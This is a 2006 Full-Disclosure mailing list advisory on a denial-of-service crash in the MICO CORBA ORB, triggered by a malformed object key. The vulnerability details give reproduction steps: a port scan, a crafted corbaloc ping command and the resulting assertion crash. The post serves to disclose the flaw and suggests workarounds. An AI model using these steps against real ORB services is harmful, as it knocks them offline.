full-disclosure - Mico crashes when contected with wrong IOR / DoS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <be10f1c50607061203n33da44e4m487bd48891f00c17@mail.gmail.com>
Date: Thu Jul  6 20:03:21 2006
From: tuergeist at googlemail.com (tuergeist)
Subject: Mico crashes when contected with wrong IOR / DoS

== == == TOC == == ==

1. Affected Vendor
2. Affected Product
3. Vulnerability
4. Safety Hazard
5. Disclosure Timeline
6. Vendor Response
7. Patch / Workaround
8. Vulnerability Details

---------------------

== 1. Affected Vendor ==
    Object Security

== 2. Affected Products ==
    MICO - Mico is CORBA, Open Source ORB
    tested on Version
        2.3.12RC3
        2.3.12
        and latest from repository
    more infos: http://www.mico.org

== 3. Vulnerability ==
    MICO crashes when contacted with wrong object key (part: orb-id or
    orb-creation time)

== 4. Safety Hazard ==
    critical, potential Denial-of-Service

== 5. Disclosure Timeline ==
    2006-06-27 Problem found and analysed / tested with other versions
    2006-06-29 Vulnerability reported to vendor and MICOs
                 devel-mailing-list
    2006-07-05 2nd mail to vendor and mailing-list
    2006-07-06 Full disclosure

== 6. Vendor Response ==
    None.

== 7. Patch / Workaround ==
    No Patch avaible yet.

    possible Workarounds
    a) Don't use MICO in or over public networks
    b) Protect MICO with an (IIOP) firewall

== 8. Vulnerability Details ==
    The following is for educational purposes only!

    Start the orb, you'll crash # Example code
    -> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
        $ ./server
    scan your target...
        $ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 /
            | grep unknown
        8010/tcp  open  unknown
        49576/tcp open  unknown
        51140/tcp open  unknown

    One of these port could be the orb. Lets try to ping
    (object._non_exists()) the last one. For this I'm using a special
    handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo..
    My JPing is avaible at
        http://wwwstud.informatik.uni-rostock.de/~cb098/JPing.java
        $ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5
      orb.string_to_object             ... ok
      object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
      vmcid: SUN  minor code: 208 completed: Maybe

    The line above are indicating that there was something wrong. On
    every active port, you'll get COMM_FAILURE; but on the ORB-port
    OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec.
     (See http://www.omg.org)

    -- mico testserver crashed / output --
    A look into server terminal let us know, that there's sth. wrong.

    $ ./server
    IOR:010000000e00000049444c3a48656c6c6f3a312e300000000200000000000000390
    0000001010000160000006c6f63616c686f73 742e6c6f63616c646f6d61696e00c4c71
    50000002f363836302f313135313735303432362f302f5f300000000100000024000000
    0100 000001000000010000001400000001000000010001000000000009010100000000
    00 # myior <-- everything is ok until here
    server: orb.cc:332: void CORBA::ORBInvokeRec::set_answer_invoke(CORBA::
    InvokeStatus, CORBA::Object*, CORBA:: ORBRequest*, GIOP::AddressingDisp
    osition): Assertion `_type == RequestInvoke' failed.
    Aborted